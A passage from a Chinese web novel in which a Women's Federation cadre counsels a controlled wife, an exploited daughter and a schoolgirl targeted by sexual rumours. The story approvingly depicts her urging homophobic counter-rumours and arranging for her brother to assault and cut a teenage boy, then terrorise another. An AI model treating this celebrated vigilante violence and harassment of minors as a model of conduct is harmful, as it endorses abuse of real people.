田容的话没说完,王怀安就严厉地打断她:“你还知道咱家日子过得挺好,日子过得这么好,你却没事找事,你就是福烧的,好日子过久了就想作呗。你们女人真是不可理喻。” 田容一听这话,像是被踩到尾巴的猫似的,突然发作起来:“王怀安,你总是这么说,总是这么说,你才是不可理喻!” 王怀安看着何黛,语气平静:“你看看她,好好地突然就发起疯来了,是不是很不可理喻?何同志,你是妇联干事,你应该是讲道理的人,你不会因为自己是女同志,就特意帮着她说话吧?” 何黛一听这话,不禁眉头一皱,这个男人很难缠。别说田容觉得压抑,她只跟他接触一会儿就觉得窒息。 这是只大妖,她镇压不了。 她看向宋知南,示意这活还是得她来接。 宋知南只看了一眼两人的相处模式,再听男的说几句话就明白了症结所在:这不是精神暴力吗?现代人一般叫它pua。看来哪个年代都不缺少npd(自恋人格障碍)。 这类病人的通常表现是自以为是、刚愎自用、习惯对别人实行语言霸凌、严重缺乏同理心。 怪不得田容会觉得窒息,搁谁谁窒息。 宋知南清清嗓子,缓缓开口:“田同志,你平常在家里是不是经常被王同志批评挑错打压?他有事会对你说教,没事也要说教,他那嘴除了吃饭就是唠叨。然后他还觉得自己没动手打你,还是个好男人?你们之间所有的问题都是因为你不知足,他没有一点错?” 田容频频点头:“对对,就是你说的这样。” 真是神了,宋知南第一次跟王怀安接触,就能一语道破真相。 果然,姐妹们一致推荐的人是不会错的。 王怀安气得额头青筋暴露,他盯着宋知南看,想用目光逼退她。 宋知南对他视而不见,继续问田容:“田同志,你爱人的病情有点严重啊,他家里有这方面的遗传吗?他这种情况持续多久了?” 王怀安再也按捺不住,粗暴地打断宋知南:“宋同志,如果我没记错的话,我们是要找何同志来调解的。” 宋知南扬手打断他:“王同志,我们女人说话的时候,你们男人不要插嘴。我七姑奶奶说,男人乱插嘴,一定会阳痿。” 杠精值加5。 王怀安:“……” 田容刚才心里还苦得跟黄连似的,现在却突然想笑。 王怀安讥讽道:“宋同志,你可是妇联的干事,你不觉得在工作场合说这种粗俗无礼的话有失你的身份吗?” 宋知南掷地有声地说:“我怎么说话,妇联干事就怎样。正常人不会觉得我粗俗,觉得我粗俗的那是因为我戳中了他的痛脚。” 杠精值加5。 王怀安气得眼前一黑,长这么大,他就没见过说话这么直接又难听的女同志。 他早就听说过宋知南的大名,只是没直接接触过。今天一接触,才算明白,真是闻名不如见面,见面不如对着干。 宋知南这颗妇联朝天椒,辣得让人直流眼泪。怪不得有男同志私下里抵制她,抵制得好。 王怀安心里憋着一股气,滔滔不绝地说起来:“宋同志,我是钢铁厂的科员,我这人素来讲理。我今天就好好地跟你讲讲道理。我跟我爱人从来没有什么大矛盾,我这人是出了名的好儿子好丈夫好父亲,我洁身自好,从来没乱搞过。我也没动手打过她,我这样的好男人上哪儿找去?就这,她还不满足。而你,竟然不讲原则,只顾顺着她的话说。请问,你们妇联到底是调解矛盾还是制造矛盾?” 宋知南看着王怀安,微微一笑:“你没乱搞,田同志也从来没乱搞过啊,是吧,田同志?” 田容连忙回答:“那当然,我从来没有过。” 宋知南两手一摊:“所以你看,不乱搞这是正常人最基本的道德水准,我很奇怪你为什么要一再强调?” 杠精值加5。 王怀安再次大声说道:“我的意思是,我是男人,我不乱搞这很难得。” 宋知南:“你是男人,同时也是人。你见过哪个人一再强调自己不吃屎只吃饭的?这需要强调吗?因为是个人都知道,一般正常人都不吃屎,只有狗才吃屎。” 杠精值加5。 何黛没忍住,噗嗤一声笑了出来。田容也是忍俊不禁。 只有王怀安笑不出来,他不但不笑,还脸色铁青。 王怀安气得眼前直冒金星,他扶扶鼻梁上的眼镜,努力压着火气,说道:“好男不跟女斗,我跟你这种人无法沟通,告辞。” 宋知南摇头:“斗不过就说好男不跟女斗,你在家天天对田同志斗时,为什么就不当好男了?” 杠精值再加5。 王怀安走到门口又停住了脚步,他回过头,一字一顿地说:“我不是在跟她斗,我那是在教她做人做事,谁让她么笨的?” 田容大声反驳道:“你又来了,天底下就你聪明,就你能干,你能干,你倒是把家务活都干了呀,我笨你别让我干呀。你什么都不干,只知道天天挑我的错。宋同志说得对,你就是有病,你的病还是遗传的,你爸也有病。” 王怀安的脸上青一阵白一阵的,他冷哼一声,拂袖而去。 宋知南趁着他还没走远,大声对田容说:“田同志,我跟你说,让男人理解你,比让狗理解你都难。我家的狗可比很多人强多了,人家会说旺旺旺,平常不抬杠不说教。” 王怀安的脚步趔趄了一下,他想回头再跟宋知南争辩几句,又觉得这样有失风度。 王怀安阴沉着一张脸离开了妇联办公室。 田容一看他这样,心情突然好了许多。 她跟宋知南说话时,情绪非常稳定:“宋同志,我其实以前不是这样的,我性格大大咧咧,挺开朗挺爱笑的,也不会动不动就发火,是最近几年才变成这样。我跟我公婆我爸妈说我过得压抑,他们也跟王怀安一样的说辞,说他不乱搞女人,不赌博不打人,是个难得的好男人,就是我不知足。” 宋知南安慰道:“你哪里是不知足,你是太能忍了。田同志,我担心你再这样下去,会憋出病的。” 田容刚才的反应已经有点像躁郁症了。 网上有个问题,说为什么现在得抑郁症的这么多,以前就没有。 下面的回答说,以前是没有抑郁症,但是每个地方都有很多突然疯了的人。 宋知南担心田容压抑久了,有一天也会“突然疯掉”。 田容听到宋知南这么妥帖的话,心里不由得一暖,“宋同志,你们这儿我真是来对了。我之前没想过要来调解,是王小雪她们推荐我来的,说保准管用。” 宋知南接着说:“田同志,你家的问题主要出在王怀安身上,他这人性格有大问题。他这类人挺多的,妄自尊大,自以为是,总觉得天底下他最对,还非常缺乏同理心。这种人通常口才还不错,能说会道,满嘴歪理。他们还特别会美化自己,明明是缺点也可以被他们吹成优点。然后他们再把你的优点说成缺点,天天挑你的错。” “对对对,你说得太对了。他就是这样。宋同志,你太厉害了,明明你才见了王怀安一面,却好像跟他认识很久似的。” 宋知南接着说:“王怀安这个做法非常可恶,他这叫精神虐待,属于家庭暴力的一种。” 田容恍然大悟:“原来这就叫精神虐待,所以我的感觉一直都没有错,错的就是他。”她这么多年来一直怀疑自己有问题。 田容用热切的目光看着宋知南,诚恳地说:“宋同志,你指导指导我吧,我以后该怎么对付他?说实话,我心里一直憋着火,每次跟他吵又吵不过他,我发脾气,他就会在旁边冷静地说,你看我说得对吧,你们女人就是不理□□发莫名其妙的火。我心里就更气了。” 宋知南笑着说:“不怕,你以后就记住,以其人之道还制其人之身,用他对你的办法对付他。不过,你得防止他说不过你会动手。” 田容语气坚决:“他想动手就动手吧,我拿刀跟他拼了算了。有时候我心里会涌上一股冲动,想干脆跟他同归于尽算了。” 何黛赶紧在一旁安慰:“田同志,不至于不至于。你千万别做傻事。” 宋知南说:“放心吧,田同志不会走到这一步的。你现在先按我说的办法回去试一试。 第一步,你先学着不从自己身上找问题,出了错误就从别人身上找。” 田容疑惑道:“全部都这样吗?那有时候确实是我错了呢?” 宋知南面带微笑:“错了又如何?你连死都想过,为什么怕犯错? 你要想着,你前面二十多年没犯过错又怎样?还不是过得很憋屈很痛苦?你后面就算犯了错那又怎样?只要不是天大的错误有什么问题呢? 王怀安他们怎么就不怕犯错?人家觉得自己从来没犯过错,他理直气壮到让周围人都觉得他没错,都是你的错。榜样就在身边啊,三人行必有我师。你就先跟他学。” 田容的眼中有了光芒,是的,犯了错又怎样?榜样就在身边啊,她得先把王怀安那种颠倒黑白、混淆是非、无理搅三分的本领学到手。 宋知南继续教学:“从此以后,王怀安说什么,你都嗤之以鼻,否定他的一切。他一反驳,你就学着他的口吻说,我都是为你好,你们男人总是这么不讲道理吗?” 田容有一种跃跃欲试的冲动,想迫不及待地试验一番。 不过,她又想到一个问题:“可是,他一跟我吵,我就控制不住地生气,发火,一生气就影响我发挥。” 宋知南从抽屉找出一幅狗的画像,这狗是黑米的对头,见着黑米必汪汪,黑米一过去,它就夹着尾巴做狗,色厉内荏,装腔作势。 宋知南郑重地把狗像交给田容:“以后你再跟他吵架,生气时,就看看这幅狗像,把他想像成一只只会汪汪叫的狗,你不但不生气,反而觉得好笑。” 田容:“……”这个思路她从来没想过。 田容接过狗的画像,连声道谢:“谢谢宋同志,我一定会好好保存。” 宋知南最后总结道:“总之,你不要怕斗争。你对陌生人忍一忍还没事,毕竟以后再也不用见面了。但对长期相处的人,你一忍就是一辈子。不要怕冲突,越害怕冲突的人,生活中越是充满冲突。 忍让从来都不能换来和平,我们跟美帝差距极大,我国为什么还要抗美援朝?领袖说了,打得一拳开,免得百拳来。你没事多读领袖著作,常读常新。” 田容用力点头:“好,我回去一定要认真阅读。” 田容今天还有事,本来打算只宋知南聊20分钟,现在一小时过去了,她还是意犹未尽,还想听更多,真是听君一席话,胜读十年书。 田容依依不舍地告辞:“宋同志,谢谢你,我得走了。你下次有空,咱们再聊。” 宋知南态度和煦:“没事,你有事可以来找我。一生很短,你要大胆。一切反动派都是纸老虎。” “你说得都对。” 田容精神抖擞地离开了妇联办公室,走路都带着风。 何黛咂舌,这跟刚才进来时大不一样了。 田容一离开,何黛就冲宋知南竖起大拇指:“欢迎我王归来,煮饭不能没有米,我们妇联不能没有你。” 第102章 何黛以为这段时间她们的工作应该很清闲。毕竟刚过完年, 谁有那么矛盾需要调解? 可她想错了,清闲的只是她罢了。宋知南这边忙得不可开交。 前天刚来了一个田容, 今天又来了一个梅小玲。 梅小玲十七八岁的年纪,个子挺高,走路习惯性地弯腰驼背,脸色也很憔悴。明明正当青春年华,她的身上却有一丝暮气。 梅小玲穿着一件洗得发白的蓝色工装,手上有裂口,脸上的皮肤也皴了。 梅小玲的神情有些畏缩,说话声也不大。 她看向宋知南:“知南,不,宋干事,不知道你记不记得我?我是隔壁院里的梅小玲, 小时候咱们还一起踢过毽子。” 宋知南笑着回答:“我当然记得, 你请坐。” 这个梅小玲可是附近的名人, 是父母嘴里别人家的闺女。 宋上进和李玉华没少夸她,院子里的大爷大妈也经常夸她, 拿她当正面例子教育自家孩子。宋知南一听这么多人夸她, 就知道这姑娘是个大血包大冤种。 宋知南说道:“小玲,你可是咱们附近的名人啊,当父母的经常夸你。” 梅小玲苦笑:“夸有什么用?你看看我的手,再看看我的脸,我也是上班挣工资的人,却连瓶蛤蜊油都不舍得买。” 梅小玲只觉得心里苦,但又不知从何说起, 她半遮半掩、吞吞吐吐:“我爸妈怎么说呢?他们很辛苦很不容易,他们为这个家操碎了心, 他们更疼我弟弟,但对我也有好的时候……” 梅小玲的爸妈,宋知南听说过,他们也就比宋上进和李玉华强一点点,人家不怎么打骂女儿,对女儿好像也挺好,怎么个好法呢?就是用嘴对她好。 宋知南一边耐心地听着小玲絮叨,一边在脑中飞快地分析梅小玲父母。 梅小玲的爸妈天天对亲戚邻居说自己对梅小玲有多好多好,但梅小玲身上的衣裳是破的,零花钱是几乎没有的,好吃的都是弟弟的。 梅小玲总觉得感觉哪里不对劲,可是她一旦有点疑问,她爸妈就苦口婆心地教育她要感恩孝顺,亲戚也劝她不要多想,她爸妈肯定是疼她的,天下无不是的父母。 有些父母特别精明,他们给女儿的爱恰如其分,没有多到让女儿能快乐长大成为一个健康人,但也不会少到让她反孝恨他们彻底抛弃他们。刚刚好到能让她们痛苦地过完一生。 他们不停地卖惨,说自己多么辛苦多么不容易,仿佛自己一生的悲剧都是这个女儿造成的,让女儿一直生活在愧疚当中。奇怪的是,他们很少对儿子说这些,明明他们养儿子付出的更多。 他们的女儿不停地内耗、愧疚,从记事起,就想拯救他们于水火之中。明明这个女孩无依无靠,血已半残,却还想着去拯救父母并拉哥哥弟弟一把。吸血的嫌不够,供血的还埋怨自己不够好,血不够足。 很显然,梅小玲的父母属于这类父母中的佼佼者。别看他们工作能力平平,智商平平,但对付自己女儿却很有手段,心眼子全用在自己人身上。 “我上交了大部分的工资,剩下的钱,我省吃捡用,我想攒钱给自己买件新衣裳。但我爸旁敲侧击说他的帽子旧了,我弟说他缺双棉靴,我妈唉声叹气说她好多年没添过新衣裳了。我犹豫很久,一咬牙给他们买了。可即便这样,他们还是不满足,话里话外地拿别人家的闺女跟我比,我真的很难受,很寒心,但我又不能说,一说他们就骂我是白眼狼不孝顺……” 宋知南听完了梅小玲的诉说,仿佛看到了以前的原主。这两人在某种程度上还挺像的。 她顿了一下问道:“小玲,咱们是邻居,你应该听说过我的事吧?” 梅小玲点头:“我听过一点。” 何止是一点,是很多很多。 托宋上进和李玉华的宣传,宋知南一直是女儿届的反面例子。 很多父母在骂女儿时一般会提一下宋知南:“你可别像老宋家的宋知南,那就是个没良心的白眼狼,不肯替哥哥下乡,让弟弟做饭做家务,上班了一分钱不交给家里,就只顾自己享福,过年也不回家,整天怼地怼地怼邻居。” 可是,梅小玲听着听着却莫名其妙地羡慕起宋知南来,不管人家是不是白眼狼,但人家的日子是越过越好呀。 她听着宋知南不用下乡了,有工作了,有房子了,有稿费了,她还成了文工队的队长。她骂遍厂区无对手,一般人不敢轻易招惹。她爸妈到处说她不孝顺,可是那又能怎样?也没伤她分毫呀。 自己倒是被人夸被人赞,可是只有她知道自己过得有多惨。 梅小玲也是因为宋知南才对自己的生活产生了质疑,人无法成为自己没见过的人,但人会不自觉地向往和模仿自己羡慕的人。 梅小玲迟疑许久,终于决定迈出这一步。她想听一听她的反面例子宋知南的看法。 宋知南以自己为例说道:“现在的你跟以前的我很像。我们在家里都不受重视。哦,你比我略强一点,你爸妈有时会用嘴对你好。 他们的策略是是用的,你对他们心疼愧疚。你还想证明你自己是有用的,你想通过不停地付出来让父母对你满意,让别人夸你,对吗?” 梅小玲陷入思考,好像还真是这样。 她点头,老实承认:“是这样。” 宋知南继续分析:“你这样做恰好就掉入了他们的陷阱。你知道吗?这个世上有很多诡异的事情,比如说,女人的美德是男人发明的,儿女的美德是父母发明的,奴隶的美德是奴隶主发明的。小玲,那你知道为什么越不受宠的孩子反而越孝顺吗?” 梅小玲先是茫然,随即恍然,好像还真是这样。 她很有求知欲地看着宋知南:“那到底是为什么呢?” “因为很多孩子陷入了一种执念,就是不停地向父母证明自己是可爱的,是有用的。但是父母的爱跟别的东西不一样,你出生时没得到,你这辈子都不会得到。” “你的哥哥弟弟需要努力才能得到这些吗?不,他们生来就拥有。你即便用尽全部力量,贡献出自己的血肉也不会得到父母的重视,你只会让他们越来越贪婪。 所以,放下执念吧,苦海无边,回头是岸。你再想想‘夸’字怎么写?拆开一看,上面是大,下面是亏。意思是你想得到别人的夸奖就有可能吃大亏。我听到的都是大家夸奖你孝顺,但是,只有你自己知道你吃了大亏,你明明挣几十块的工资却连个擦脸油都买不起,你觉得这正常吗?你知道我们这类人的父母跟旧社会的地主阶级有什么不一样吗?” “大家都知道地主是剥削阶级,你可以明着恨地主反抗地主;但父母的剥削是隐蔽的,是被默许的,他们站在道义的高处,你敢反抗,周围的人就会帮着他们讨伐你。为什么会这样?因为他们当不上地主,但都能当上父母,他们一般都有姐妹,我们不献出自己的血肉,他们就少了一道大菜。” 梅小玲受到了深深的震撼,竟然是这样吗?她爸妈像地主,那她是长工?她弟弟是地主家的少爷? 像,真的像。她一年到头辛辛苦苦,却落得两手空空。 她下了班还要洗衣做饭,她弟弟什么也不用干。 爸妈说他们最疼她,可是她感觉不到。 她有苦说不出,爸妈骂她不知足。 …… 梅小玲定定地看着宋知南,陷入了长久的沉默中。 末了,宋知南再送梅小玲一句名言:“有个姓宋的作家曾经说过,对你好的才是亲人,吸你血的都叫敌人。心软得病,心硬好命。不光要听其言,还要观其行,看他们的行为,你就知道他们到底是什么德性。” 梅小玲没有原地顿悟,但她思考了很多很多。她隐隐约约地感觉到,一直笼罩在父母脸上的那层温情脉脉的面纱被宋知南轻轻地掀开了一角。 梅小玲有些语无伦次:“谢谢,谢谢你,让我明白了很多……我应该早来的,你以前跟我一样,你能变成今天这样,那我也可以的对吧?” 梅小玲还有一层震撼就是,宋知南以前跟自己一样沉默寡言,她们连玩游戏都是当别人的观众。 可是现在,一切都不同了,现在的宋知南周身仿佛笼罩着一层光芒。所以,人是可以改变的。 宋知南笑着鼓励道:“你当然也可以。” 梅小玲精神恍惚地走出了妇联办公室。 她一走,何黛就忍不住说道:“这个小玲我也听说过,她太可怜了。你看她的脸都皴了,她的衣裳也挺破的。一个月挣几十块的工资,你说何至于此?她爸妈真是过分。你说她会反抗她爸妈,争取自己的利益吗?” 宋知南摇头:“不确定,她既然来找咱们,说明她是有这个想法的,她若是一点反抗的心思都没有,就不会来了。” 不过,梅小玲的反抗注定是艰难曲折的,她的父母一定会疯狂反扑打压的,周围的人还都站在她父母那边。现在这种社会环境,你也没法远走高飞。 不管有没有用,只要对方来问,宋知南一定会给出办法。这是她的工作职责。 梅小玲之后,王怀安和田容的连载又有了新的进展。 这次是王怀安自己来的。 他一进来就怒气冲冲地质问宋知南:“宋干事,你干的到底叫什么事?田容跟你聊完之后天天跟我顶嘴,我说一句她顶十句。你到底教了她什么?” 宋知南笑着说:“我什么也没教,我只是让她向你学习,你怎样她就怎样。” 王怀安压着怒火问:“你为什么要这么做?” 宋知南面带惊讶:“怎么?你难道不值得别人学习吗?不对呀,你不是觉得自己永远正确吗?你不是觉得自己是道理的化身吗?你为什么怕别人学习你呢?” 杠精值加5。 王怀安气得太阳穴一直跳:“宋同志,我可以向你学习吗?” 宋知南两手一摊:“你学啊,你尽管学。” 宋知南说完,打量了王怀安一眼:“只是,你学得了形,也学不了我的神啊。我这人一身正义,充满公心,灵魂干净健康有趣,你学得了吗?” 杠精值再加5。 王怀安被气笑了,还真是大言不惭呐。 他根据自己丰富的经验做出判断,宋知南这种人是最难对付的,牙尖嘴利,心硬,关键是不在乎名声。 既然说不过,那就换个方法。 王怀安严肃地说:“宋同志,我想向你的单位领导反映一下你的情况。” 宋知南毫不在意:“王同志,你可以去打听打听,我被人投诉反映的次数还少吗?你觉得我会怕吗?我实话告诉你,我被你们这种人投诉得越多,就证明我的本职工作做得越好。” 杠精值加5。 她提高不了单位的生活水平,但可以提高领导们的血压,谁不夸她是个好职工? 宋知南接着话锋一转:“你说,我去向你的领导反映反映你的情况如何?你是后勤科的,你们的科长我熟啊,我们以前打过交道。我就跟他说,你大男子主义思想严重,还总想占领你爱人的思想阵地。你爱人找我调解,你张口就要举报。我让他也做做你的思想工作。” 王怀安盯着宋知南看,目光像锥子一样锐利。宋知南面带微笑,不回避不移开,直到对方先移开。 王怀安的胸脯鼓起来又平下去,他那严肃的面容一点点地变得温和起来,嘴角扯起一丝僵硬的笑容:“宋同志,我跟你开玩笑的,我不找你的领导,你也别找我的,行吗?” 宋知南笑道:“好说好说,我这人最讲道理了。” 王怀安咬着牙离开了。这个女人他一定会想办法治她的。 他突然想起来了,他有一个同学在《青阳晚报》当记者,这个同学是个有名的杠头,他以前不爱搭理此人。 现在,他福至心灵,杠头对杠头,就看谁头铁吧。想到这里,他忍不住回头瞥了宋知南一眼,再冷笑一声扬长而去。 宋知南目送着王怀安离开,心中感慨万千。 她喝口水,润润唇,开始记笔记。 这个工作真让她见世面,也让她懂得了很多道理: 男人越斯文,pua得就越狠。 别人爱夸你,你就要吃大亏。 女孩子在家被父母兄弟吃,嫁人后被丈夫婆家人吃,女人的一生就是被吃的一生。 这世界大雨滂沱,到处都是旋涡,人人都想害我。以后,她须得提醒她们加倍小心。 刚才那王家的狗先是汪汪得厉害,接着咬牙切齿,最后多看了我一眼,它肯定是想到了害我的办法,须十分小心,我怕得有理。 第103章 宋知南觉得自己受了工伤。 那天, 她把黑米对头的画像给了田容,让她把王怀安当成狗。现在, 王怀安的身影幻化成了一条色厉内荏的黑狗。 宋知南一本正经地问何黛:“阿黛,你说奇不奇怪?我看见王怀安变成了狗。” 何黛:“你的感觉没有错,你这么一说,我也觉得他像条狗。” 奇奇怪怪的人见多了,现在她俩对什么事都见怪不怪了。 在讨论完王怀安变狗以后,何黛丝滑地转到下一个重要议题:“你说晚饭吃什么好呢?” …… 宋知南没想到,自己一回到工作岗位,业务量就呈井喷模式。咨询者一个接一个地来。 何黛一上班就先去打两瓶开水,回来再贴心地给宋知南泡上一大茶缸茶,还提醒她:“你趁着没人赶紧多喝水,润润喉咙。”南姐真是天赋异禀, 每天说那么多话骂那么多人, 嗓子从来没哑过, 人家天生就是吃这碗饭的。 何黛趁着这会儿没人,抓紧时间跟宋知南聊天, “南姐, 我咋觉着你现在像坐堂的老中医似的,专门往人的心坎上扎针灸。” 宋知南说:“你说的叫心理医生?” “差不多就是这意思,还有这类型的医生呢?” “听说外国有,咱们国内好像还没有吧。咱们这儿有了问题会找算卦的聊一聊。” 两人正说得高兴,门外又来人了。 这次来的是个十四五岁的女孩,女孩长得挺好看,白白净净的, 一双大眼睛里泛着水光。 只是她走路姿态很怪异,像是迈不开双腿似的。 何黛一看女孩长得这么好看, 说话声音都变柔和了:“小妹妹,你有什么事吗?” 女孩低着头,声音很小:“两位姐姐好,我是青阳二中的学生,叫黄盼。我家不在纺织厂,我、我听有人说这里能帮女同志排忧解难,我就来了,我也可以问你们问题吗?” 何黛说:“当然可以,你有什么问题就问吧。” 黄盼局促不安地坐在凳子上,眼睛盯着桌面,吞吞吐吐地说起了自己的烦恼:“……就是有男同学给我写纸条,我没理他们,然后就有人造我的谣,他们说我、说我腿缝分得开,胸脯挺,说话声不正经,说我不捡点,肯定不是个姑娘了……” 黄盼越说越难为情,脸蛋发红,眼泪在眼眶里直打转:“我找老师,老师说无风不起浪,让我以后多注意。我一直很谨慎的,我穿衣服也很注意,也很少跟男生说话,可他们还是这么说。我爸妈在西南建设大三线,家里只有奶奶,她身体还不好,我也不想让她操心。我现在也不知道怎么办。我甚至想过自杀,可我怕疼,又舍不得奶奶和爸爸妈妈。” 何黛听完,当即破口大骂:“这些个王八蛋纯属胡说八道,他们的嘴怎么那么贱?这老师也真是的,就不能管管吗?” 宋知南没有跟着骂,而是进一步询问:“造谣的人是谁你知道吗?” 黄盼说:“我没有证据,只是大概能猜到,就是给我传纸条的那两个男生,他们不爱学习,经常闹事。老师也不敢管他们,校长前年被批斗过,也不大管事。我以前还有两个好朋友,现在她们也不理我了。” 宋知南说道:“那你就以其人之道还制其人之身,你也造谣,就说第一个男生是天阉,天阉就是太监的意思。第二个男生喜欢男的,他俩在处对象,第一个男生前门不行,所以只能开自己的后门,他现在后面都松了。他们俩不专一,搞对象的同时还喜欢别的男生,因为他俩喜欢的男生喜欢你,跟你是竞争关系,所以才造你的谣。” 黄盼一下子听到这么多新名词,不由得张大了嘴巴。 宋知南一脸严肃地给黄盼认真科普,什么叫前门,什么叫后门。 黄盼的脸腾地一下红了,她好像学到了不该学的知识。 何黛也是一脸好奇地听着。 宋知南继续往下说:“你接着造谣,就说谁跟他俩走得近,谁就跟他们有一腿,让别的男生不敢接近他俩,削弱他俩的势力。如果他俩来找你,你就说有种你们当众脱裤子证明呀,你不自证就说明你真是。记住,你千万不要证明自己,要让他俩证明自己。” “别害怕,你是正义的一方。也别害羞别不好意思,你要想着,反正你连死都不怕,还怕什么?还有,你千万别想不开,任何时候都不要放弃自己的生命,任何人任何事都不值得。再说了,该死的又不是你,为什么你要去死?你回去发电报给你爸妈,同时也告诉你奶奶。” 黄盼一脸为难:“可我奶奶年纪大了,身体又不好,我不想让她操心。” 宋知南说:“你都想着寻死了,你奶奶能不操心吗?万一你真有个好歹,你奶奶还会好吗?她说不定伤心自责的想跟着你去了。事情再坏能有出人命坏吗?你就去告诉她,出了事记得想尽一切办法向大人求助,他们经的事比你多,肯定比你办法多。千万不要自己硬扛,也不要钻牛角尖。你奶奶年纪大有年纪大的好处,让你奶奶去找学校找老师和校长,找那两个男生的家长去闹。” 黄盼恍然大悟,确实如此,她之前都想差了。她只想着不想让奶奶操心,却没想到她真出了事,奶奶得有多自责多愧疚,说不定真的就随她去了。 黄盼频频点头,感激地说道:“宋姐姐何姐姐,谢谢你们。” 宋知南打量了一眼黄盼,说道:“胸部挺不是错误,不要总是这么含胸低头,你自然走路就行;腿缝大,一是天生的,二是因为过瘦。你以后要多吃多练,你长得这么漂亮,爸妈不在身边,一定要保护好自己。” 黄盼听着这么暖心的叮咛和鼓励,心里感觉暖暖的。 宋知南说完,何黛也鼓励了黄盼几句:“没事的,很多女孩都经历过你这种事。我们班有个女同学第一次来月经什么也不懂,流到裤子上了,有些男同学就在她背后指指点点,把她都气哭了。我们班女同学一起骂那些男同学。” 黄盼离开后,何黛一直念念不忘,时不时地提起一句:“也不知道黄盼有没有按你说的去做。” 宋知南也发现了,何黛喜欢长得好看的人,见到漂亮女孩,说话声音都变温柔了。 何黛迫切地想知道后续,宋知南却亲自参与到了事情当中。 这天下班后,她刚出厂区,就看见了黄盼红着眼睛跑过来,说道:“宋姐姐,我奶奶知道后叫了我家亲戚去找那两个男生的家长,还去找了老师。我也按你说的去做了,但是我不知道是谁告诉那两个男生的,说是你教我的。那两个男生说要报复你。” “报复我?想报复我的人多了去,他们算老几?我没事,你自己要注意安全。” 黄盼点头:“我姑给我爸妈通电话了,我爸妈说这里不安全,打算把我接走。我没事的,我就是担心你受我连累。” 宋知南淡然一笑:“你不用担心。” 报复是吧?她正好明证言顺地为民除害。 宋知南问了两个男生的名字,打算抽空回报他们一下。 这事也不用她亲自出面,她直接叫来宋冬宝,把两人的名字给他:“你抽时间整整这两人,这两人对女同学耍流氓,还造黄谣,我要以其人之道还制其人之身,你知道怎么做了吗?” 宋冬宝举一反三:“很好办,也让他俩尝尝被耍流氓的滋味呗。” 宋冬宝现在是奉旨干坏事,他动力十足。被宋秋实伤害后,他心理也有些不正常了,就想让别的男生也吃点苦。 宋冬宝蒙着脸,把其中一个男生堵在死巷里,扒了他的裤子,用绳子绑起来,还用小刀在他的隐秘部位轻轻划了几刀,还在男生身上贴了一张红色的大字报,上面用左手歪歪扭扭地写了一行字:再背叛大哥,就把你鸡割了。那个男生吓傻了,身体抖得像风中的狗尾巴草似的。 做完这一切,宋冬宝扬长而去。整人就是爽,一直整人一直爽。 姐姐给他定的规矩是,不随便杀人不放火,他又没杀人,他是个听话的好弟弟。 等到有人发现时,那个男生已经吓傻吓尿了。 同学们对他指指点点,议论纷纷。 “再背叛大哥就把那啥割了,他得罪了谁的大哥?” “为啥要割那玩意儿呢?” 有人结合前些日子的流言,突然间像明白了什么,再看这个男生时,目光都带了颜色,大家都在议论这人不是个正经的小伙子了,他窜稀大家不是说他病了,而是觉得他后门松了才窜的。 男生羞愤难当,想解释又无法解释,浑身是嘴说不清,只能暗自咬牙,当众发疯狂怒。 黄谣的回旋镖回到了他自己身上。 另一个男生也收到了一张小纸条:“你放学别走,哥哥我想跟你到树林里玩玩,嘻嘻。” 这个男生大惊失色,吓得躲在家里不敢上学了。 家长也不知道是谁干的,到处打听也没打听出什么结果来。 也有人告诉他们可能是宋知南干的,被吓尿男生的家长就来找宋知南试探试探。 宋知南:“你的意思是你儿子对我不敬,想报复我,现在他被人报复了,你们怀疑我?好好,你要不说我还不知道呢。你冤枉我报复你们是吧?那我就真报复给你们看。你们大可以去打听打听我的战绩,我要真报复起来会用这种小儿科手段吗?你瞧不起谁呢?” 家长一听,还有更厉害更高超的手段,他们更害怕了,连忙道歉:“不不,我们不是这意思,我们就是来随便问问。宋同志,你可是干部,你别跟儿子一般见识,对不起,我们这就走。” 宋知南看着两人狼狈逃窜的背影,嘴角勾起一丝邪魅的笑容。 这个宋冬宝还是有点用的,看来这世上就没有无用的东西,垃圾放对了地方也能环保。以毒攻毒也挺好的。 吃饭时,宋知南特意给宋冬宝加餐,多给了他一个大肉包。 宋冬宝吃得满嘴流油,口齿不清地说:“姐,以后你有啥事尽管吩咐我,我保证帮你办好。” 宋知夏在旁边说:“你们两个要小心些,别露出马脚,可别犯法呀。” 宋知南摆摆手:“没事的,我不犯法。” 宋知夏虽然担心弟弟妹妹的安全,但是听到那两个男生被报复,心情还是很美丽。她上学时也遇到过这种事,可惜她当时觉得丢脸,没敢闹大,硬忍了下去。现在想想还心塞,以后见到那几个同学必须想办法报复回来。 宋冬宝主动询问宋知南下一步的指示:“姐,另外那个男生怎么办?” 宋知南说:“不急,先精神折磨他一阵,让他这段时间时时刻刻处在被报复的恐惧当中。你在保证自己安全的情况下跟踪一下他,过几天再给他传张纸条。未知的恐惧才是最可怕的。咱们要给他留下难以磨灭的阴影。” 宋冬宝兴奋地说:“三姐,你说得对。” 宋知南端起碗跟宋冬宝碰了一下:“来,咱们来胜利干杯,为正义干杯。” “为正义干杯。”宋冬宝骄傲地挺起胸脯,谁能想到,他宋冬宝,有一天也会变得这么正义。 宋知夏看着这两人,心情相当复杂。你说他们不正义吗?也不是,人家确实是在为民除害。可是要说完全正义吧,又不太像。她咋觉得这个妹妹正得发邪呢。 第104章 周一上班时, 何黛一边收拾资料一边念叨:“也不知道那个梅小玲现在咋样了?说实话,我揪心黄盼, 最心疼的却是这个梅小玲。” 宋知南说:“我有预感,她还会再来的。” 梅小玲的斗争注定是艰难而漫长的,她不大可能一次就把问题解决了。 梅小玲没来,妇联办公室却来了一家三口,这一家三口与众不同,父母都是一身板正的灰色干部装,花白的头发梳得一丝不乱,说话文绉绉的。 女孩十七八岁的年纪,长相秀气,目光清澈。 女孩父母刚要开口,女孩却抢先开口:“爸、妈, 咱们说好的, 我要自己问, 要不然我现在掉头就走。” 女孩父母无奈地摇头,只得答应。 女孩撅着嘴说:“你们去外面溜达一会儿, 我要单独跟宋同志聊一会儿。” 两人刚要开口, 女孩便说:“你们若不答应,我现在就回家。” “行行,我们走。” 两人三步一回头地离开了妇联办公室。 女孩战胜了父母,脸上现出一丝得色。 她这才回过头来跟宋知南和何黛打招呼:“两位同志好,我有一些问题想问问你们。” 宋知南说:“请坐,你问吧。” 女孩看向宋知南,确认一下:“你就是宋知南同志?” “对。” 她迟疑着问:“你有我大吗?”对方年纪比她还小, 真的能帮她解决这么复杂的问题吗? 宋知南气定神闲:“虽然我比你小,但我参加工作早, 斗争经验丰富,阅读量大,六七十岁的人有事也来咨询我,你有问题尽管问。” 